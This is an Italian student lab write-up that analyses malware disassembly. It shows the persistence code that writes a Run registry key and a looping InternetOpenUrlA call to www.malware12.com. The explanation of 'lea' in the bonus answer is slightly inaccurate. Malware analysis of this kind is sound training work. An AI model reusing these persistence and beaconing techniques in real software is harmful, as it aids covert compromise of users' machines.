

PRATICA S11L1

1) Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite

Di seguito la porzione di codice dove il malware ottiene la persistenza sul sistema:

```
0040286F  push    2                ; samDesired
00402871  push    eax               ; ulOptions
00402872  push    offset SubKey     ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi               ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx               ; lpString
00402887  mov     bl, 1
00402889  call    ds:strlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx               ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax               ; lpData
0040289D  push    1                 ; dwType
0040289F  push    0                 ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx               ; lpValueName
004028A9  push    edx               ; hKey
004028AA  call    ds:RegSetValueExW
```

In questa prima fase il malware va ad usare la funzione RegOpenKeyExW per aprire la chiave di registro passata come SubKey sullo stack, oltre agli altri parametri richiesti dalla funzione. Successivamente va ad usare la funzione RegSetValueExW per aggiungere un valore alla precedente chiave:

```
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx               ; lpString
00402887  mov     bl, 1
00402889  call    ds:strlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx               ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax               ; lpData
0040289D  push    1                 ; dwType
0040289F  push    0                 ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx               ; lpValueName
004028A9  push    edx               ; hKey
004028AA  call    ds:RegSetValueExW
```

Vediamo che viene usata l'istruzione push per passare tutti i parametri necessari alla funzione

2)Identificare il client software utilizzato dal malware per la connessione ad Internet

3)Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

In rosso nell'immagine possiamo vedere le istruzioni in cui il malware si connette ad internet, usando la funzione InternetOpenA, e l'indirizzo che successivamente viene fornito alla funzione InternetOpenUrl, che si connette all'indirizzo specifico.

Infine in verde vediamo la chiamata alla funzione vera e propria che il malware usa per connettersi a www.malware12.com:

```
-----
.text:00401150 ; !!!!!!!!!!!!!!! S U B R O U T I N E !!!!!!!!!!!!!!!
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+ECf0
.text:00401150 push esi
.text:00401151 push edi
.text:00401152 push 0 ; dwFlags
.text:00401154 push 0 ; lpszProxyBypass
.text:00401156 push 0 ; lpszProxy
.text:00401158 push 1 ; dwAccessType
.text:0040115A push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call ds:InternetOpenA
.text:00401165 mov edi, ds:InternetOpenUrlA
.text:0040116B mov esi, eax
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+30↓j
.text:0040116D push 0 ; dwContext
.text:0040116D push 80000000h ; dwFlags
.text:0040116F push 0 ; dwHeadersLength
.text:00401174 push 0 ; lpszHeaders
.text:00401176 push offset szUrl ; "http://www.malware12.com"
.text:00401178 push esi ; hInternet
.text:0040117E call edi ; InternetOpenUrlA
.text:00401180 jmp short loc_40116D
.text:00401180 StartAddress endp
.text:00401180
-----
```

4)Bonus: qual è il significato del comando assembly “lea”?

Il comando lea (load effective address) è simile al comando mov, ma opera sull'indirizzo invece che sul valore. Va quindi a copiare il valore dell'indirizzo all'interno della destinazione

Es. lea eax, [ebx] copia l'indirizzo di ebx all'interno di eax